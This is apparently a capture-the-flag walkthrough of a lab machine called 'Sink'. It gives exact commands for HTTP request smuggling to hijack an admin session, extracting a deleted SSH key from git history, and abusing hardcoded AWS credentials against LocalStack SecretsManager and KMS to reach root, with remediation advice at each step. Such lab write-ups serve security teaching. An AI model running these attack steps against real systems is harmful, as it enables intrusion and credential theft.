← all walkthroughs

Sink

Linux· Insane
owned
2026-07-14
time to own
22m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The host at $TARGET ran a Flask/Gunicorn notes application on port 5000 behind an outdated HAProxy reverse proxy, and a Gitea source-code server on port 3000. A version-mismatch in how HAProxy 1.9.10 and Gunicorn 20.0.0 each parsed an obfuscated Transfer-Encoding header let me queue a hidden request on the backend connection, capturing the administrator's live session cookie.

That session exposed a Gitea root password the administrator had stored in a plaintext note. Authenticated to Gitea, I cloned the Key_Management repository and recovered an SSH private key that had been committed to history, then deleted, but never purged, giving shell access as marcus and the user flag.

From that foothold, AWS credentials hardcoded in a repository source file reached the box's internal LocalStack service; SecretsManager held the password for david. David's privileges extended to a LocalStack KMS customer key, which decrypted an encrypted deployment archive containing the root server password reused on the OS: full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export AWS_ACCESS_KEY_ID="<a-password-you-choose>"

Some commands also carry a value in angle brackets (<captured_admin_cookie>, <secret_from_ec2php>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped exposed services and identified the HAProxy-fronted notes application
A port scan found three services: SSH on 22, a Gitea instance on 3000, and a Flask/Gunicorn 20.0.0 web application on 5000. HTTP response headers on port 5000 included 'Via: haproxy', identifying HAProxy 1.9.10 as the front-end proxy. That version is known to normalise Transfer-Encoding header whitespace differently from its backend: a prerequisite for CL-TE request smuggling.
Nmap: 22/tcp OpenSSH 8.2p1, 3000/tcp Golang net/http (Gitea), 5000/tcp Gunicorn 20.0.0; curl -D- on :5000 returned 'Via: haproxy'.
Exact commands 3
shell

Identify open ports and version banners.

$ nmap -Pn -sV -p22,3000,5000 $TARGET
shell

Confirm HAProxy front-end via the 'Via: haproxy' response header.

$ curl -sS -D - http://$TARGET:5000/
shell

Confirm Gitea on port 3000.

$ curl -sS -D - http://$TARGET:3000/
2ExploitationHTTP Request Smuggling: CL.TE desync (CWE-444)
Hijacked the administrator's session via CL-TE HTTP request smuggling
HAProxy 1.9.10 accepted a Transfer-Encoding header whose value was prefixed with a vertical-tab byte (0x0b). HAProxy treated this as a valid chunked request and stripped the anomalous byte before forwarding. Gunicorn rejected the obfuscated header and honoured Content-Length instead, causing the two servers to disagree on request boundaries. Sending this malformed payload to the /comment endpoint queued a partial HTTP request on the backend connection. When the administrator's automated note-deletion job fired, its Cookie header was appended to that waiting request body and returned inside a new note, exposing the admin's session cookie. Roughly ten iterations of the poisoning loop were required before the timing aligned.
After ~10 poisoning iterations the admin session cookie appeared inside a captured note on /notes.
Exact commands 3
shell

Register and log in to obtain my session cookie required to post to /comment.

$ curl -sS -c /tmp/atk_cookies.txt -b /tmp/atk_cookies.txt -X POST http://$TARGET:5000/ --data-urlencode "username=$USERNAME" --data-urlencode "password=$PASSWORD4"
shell

Send the raw CL-TE payload (\x0b-obfuscated Transfer-Encoding) against /comment over a raw TCP socket; repeat until the admin cookie is captured. Curl cannot be used: the 0x0b byte must arrive verbatim on the wire.

$ python3 clte_capture.py --target $TARGET --port 5000 --cookie /tmp/atk_cookies.txt --iterations 15
shell

Verify the hijacked session by reading the admin note list; the Gitea credential appears here.

$ curl -sS -b 'session=<captured_admin_cookie>' http://$TARGET:5000/notes
FixUpgrade HAProxy and enforce strict HTTP request normalisationCritical
WeaknessHAProxy 1.9.10 and Gunicorn 20.0.0 interpreted the same Transfer-Encoding header differently when an unusual whitespace character (vertical tab, 0x0b) was embedded in its value. This disagreement let an unauthorised user queue a hidden, externally controlled request on a backend connection and capture a legitimate user's session headers.
FixUpgrade HAProxy to 2.2 or later, which rejects or normalises ambiguous Transfer-Encoding values before forwarding. In haproxy.cfg add 'option http-server-close' and an 'http-request reject' rule for any request carrying both Content-Length and Transfer-Encoding headers simultaneously. On the Gunicorn side, upgrade to a release that strictly rejects malformed TE headers. Consider a WAF rule that blocks CL-TE anomalies at the network edge.
3Credential AccessCredentials in plaintext application storage (T1552.001)
Read the Gitea root password from a plaintext admin note
With the administrator's session cookie in hand, the /notes endpoint returned all notes the admin account had saved. One note contained the Gitea root account password in plaintext: the administrator had stored it in the application for convenience. This gave me authenticated access to the full Gitea source-code server on port 3000.
Admin note contained: root's password. Confirmed via Gitea API /api/v1/user.
Exact commands 2
shell

Read all admin notes; locate the Gitea root credential.

$ curl -sS -b 'session=<captured_admin_cookie>' http://$TARGET:5000/notes
shell

Confirm Gitea root access with the recovered password.

$ curl -sS -u "root:$PASSWORD3" http://$TARGET:3000/api/v1/user
FixProhibit storing credentials in application notes or any user-readable contentHigh
WeaknessAn administrator saved the Gitea root password inside the notes application as plaintext. Once an unauthorised user captured any privileged session (here, via the request-smuggling attack) every saved note became readable, handing over the credential without any additional effort.
FixEnforce a written policy that passwords, API keys, and tokens must never be stored in note-taking, ticketing, or collaboration tools. Require use of a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, Bitwarden) for all credentials. Immediately rotate the exposed Gitea root password and audit existing notes and tickets for embedded secrets using tools such as truffleHog.
4Credential AccessSensitive data exposure in version control history (T1552.007)
Recovered a deleted SSH private key from Gitea repository history
Authenticated as Gitea root, I cloned the Key_Management repository. Although the SSH private key at .keys/dev_keys had been removed in a later commit, Git permanently retains every version of every file in its object database unless history is explicitly rewritten and force-pushed. Walking the commit log to commit b01a6b7 and extracting that path yielded a fully valid OpenSSH private key for the user marcus.
Git show b01a6b7:.keys/dev_keys produced a valid OpenSSH private key; ssh-keygen -lf verified the fingerprint.
Exact commands 4
shell

Git asks for the credential rather than carrying it in the URL: the account is root and the value is $PASSWORD, the same pair the API call above used.

$ git clone http://$TARGET:3000/root/Key_Management.git
shell

List commits to locate the revision before the key was deleted.

$ cd /tmp/Key_Management && git log --oneline
shell

Extract the deleted private key from commit b01a6b7.

$ git show b01a6b7:.keys/dev_keys > /tmp/marcus.key && chmod 600 /tmp/marcus.key
shell

Verify the key is a valid OpenSSH private key.

$ ssh-keygen -lf /tmp/marcus.key
FixPurge committed secrets from git history and enforce pre-commit secret scanningCritical
WeaknessAn SSH private key was committed to the Key_Management repository and deleted in a follow-up commit. Git retains every historical version of every file in its object database; the key remained fully recoverable from commit b01a6b7 by any user with read access to the repository, including anyone who obtained Gitea credentials through another attack step.
FixImmediately revoke and rotate the exposed SSH key. Rewrite the repository history to remove the file permanently using 'git filter-repo --path .keys/dev_keys --invert-paths', then force-push and invalidate all cached clones. Going forward, install a pre-commit hook (gitleaks, git-secrets, or Trufflesecurity TruffleHog) in every repository to block commits containing private keys, passwords, or cloud key patterns. Add the same check as a mandatory CI gate so bypassed local hooks are still caught.
5FootholdValid accounts: stolen SSH key (T1078 / T1021.004)
Authenticated as marcus with the recovered SSH key and captured the user flag
The private key from git history authenticated as the local account marcus. Because the external SSH port was intermittently filtered during the engagement, I reached the target by leveraging the Gitea git-shell already running on the box and SSH-ing to the loopback interface from there. Once logged in as marcus, /home/marcus/user.txt was readable.
Git show b01a6b7:.keys/dev_keys piped to ssh marcus@127.0.0.1 → uid=1001(marcus), user.txt = <user.txt>.
Exact commands 2
shell

Primary path when port 22 is reachable externally.

$ ssh -i /tmp/marcus.key -o StrictHostKeyChecking=no -o BatchMode=yes marcus@$TARGET 'id; cat /home/marcus/user.txt'
uid=1001(marcus)
shell

Loopback path via the Gitea git-shell when external :22 is filtered; run from any shell already on the box.

$ git --git-dir=/home/git/gitea-repositories/root/key_management.git show b01a6b7:.keys/dev_keys > /tmp/marcus.key && chmod 600 /tmp/marcus.key && ssh -i /tmp/marcus.key -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null marcus@127.0.0.1 'id; hostname; cat /home/marcus/user.txt'
6Lateral MovementHardcoded credentials in source code (T1552.001); cloud service credential abuse (T1078.004)
Used hardcoded AWS credentials to query LocalStack SecretsManager and obtain david's password
The Key_Management repository contained ec2.php, which hardcoded an AWS access key ID (&lt;recovered-access-key&gt;) and pointed to an internal LocalStack endpoint on 127.0.0.1:4566. LocalStack is a developer tool that emulates AWS services locally. Using those embedded credentials against LocalStack's SecretsManager API, I retrieved the 'Jenkins Login' secret, whose value was a base64-encoded password for the account david.
ec2.php: &lt;recovered-access-key&gt; + endpoint http://127.0.0.1:4566; secretsmanager get-secret-value returned base64 string decoding to david's password.
Exact commands 4
shell

Read the source file to extract the hardcoded AWS access key ID and secret, and the LocalStack endpoint.

$ cat /tmp/Key_Management/ec2.php
shell

Enumerate all secrets on the LocalStack instance (run from a marcus shell on the box).

$ AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=<secret_from_ec2php> AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://127.0.0.1:4566 secretsmanager list-secrets
shell

Retrieve the secret containing david's base64-encoded password.

$ AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=<secret_from_ec2php> AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://127.0.0.1:4566 secretsmanager get-secret-value --secret-id 'Jenkins Login'
shell

Decode the SecretString value to reveal david's plaintext password.

$ echo "$PASSWORD" | base64 -d
FixRemove hardcoded AWS credentials from source code and restrict LocalStack network accessCritical
Weaknessec2.php embedded an AWS access key ID and secret in plaintext committed source code. Any person, or an unauthorised user, with repository read access could use those credentials to query the internal LocalStack service, which was reachable on the loopback interface without additional authentication, and enumerate all emulated AWS resources including SecretsManager secrets.
FixRemove all credentials from source code immediately and rotate the exposed AWS key. Replace hardcoded values with environment variables injected at runtime or an IAM instance role. Bind LocalStack strictly to 127.0.0.1 and apply host-based firewall rules so that only the specific process account that requires it can connect to port 4566. Add a mandatory CI gate (truffleHog, gitleaks) that fails any build where source files contain AWS key patterns.
7Privilege EscalationAbuse of cloud key management service (T1552.004)
Decrypted an encrypted deployment archive via LocalStack KMS to recover the root credential
David's home directory contained /home/david/Projects/Prod_Deployment/servers.enc, an archive encrypted with a LocalStack KMS customer-managed key. Querying the LocalStack KMS API as david (or with credentials accessible to david), I listed available keys, identified the enabled customer key, and called kms:Decrypt with the RSAES_OAEP_SHA_256 algorithm: the specific OAEP variant required by this key. The decrypted output was a gzip-compressed tar archive; unpacking it produced servers.yml, whose 'pass:' field contained the root account's operating-system password.
KMS decrypt with RSAES_OAEP_SHA_256 produced H4sI-magic gzip data; tar extraction of servers.yml yielded the root credential.
Exact commands 4
shell

Switch to david using the password decoded in the previous step.

$ su - david
shell

Enumerate KMS keys on LocalStack to find the enabled customer key ID.

$ AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=<secret_from_ec2php> AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://127.0.0.1:4566 kms list-keys
shell

Decrypt servers.enc; the RSAES_OAEP_SHA_256 variant is required: other OAEP variants will fail.

$ AWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY=<secret_from_ec2php> AWS_DEFAULT_REGION=us-east-1 aws --endpoint-url http://127.0.0.1:4566 kms decrypt --ciphertext-blob fileb:///home/david/Projects/Prod_Deployment/servers.enc --encryption-algorithm RSAES_OAEP_SHA_256 --output text --query Plaintext | base64 -d > /tmp/servers.tar.gz
shell

Unpack the archive and extract the root credential from the YAML file.

$ tar -xzf /tmp/servers.tar.gz -C /tmp/ && grep 'pass:' /tmp/servers.yml
FixEnforce least-privilege KMS key policies and eliminate OS root password reuseCritical
WeaknessAn unprivileged user account (david) had unrestricted access to a LocalStack KMS key capable of decrypting a production deployment archive. That archive contained the root account's operating-system password in plaintext, and the same password was reused directly on the Linux host, meaning any account that could reach LocalStack and read the encrypted file could escalate to root.
FixApply least-privilege KMS key policies so that only the specific service identity that requires decryption can call kms:Decrypt; all other principals should be explicitly denied. Store deployment credentials in a dedicated secrets manager rather than an encrypted archive readable by application users. Eliminate the root OS password entirely: disable password-based root login in /etc/ssh/sshd_config (PermitRootLogin prohibit-password), enforce sudo with per-user policies, and use SSH keys with short-lived certificates for any privileged access.
8Full CompromiseCredential reuse: local privilege escalation (T1078)
Authenticated as root using the recovered server credential
The password extracted from servers.yml was reused as the root account's local OS password. Switching to root via su with that credential provided a full root shell, completing the compromise chain from unauthenticated network access to full system control.
Su - root with the servers.yml password succeeded; uid=0(root); root.txt = <root.txt>.
Exact commands 2
shell

Enter the password from servers.yml 'pass:' field when prompted.

$ su - root
shell

Confirm root UID and read the root flag: <root.txt>.

$ id && cat /root/root.txt
uid=0(root)

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more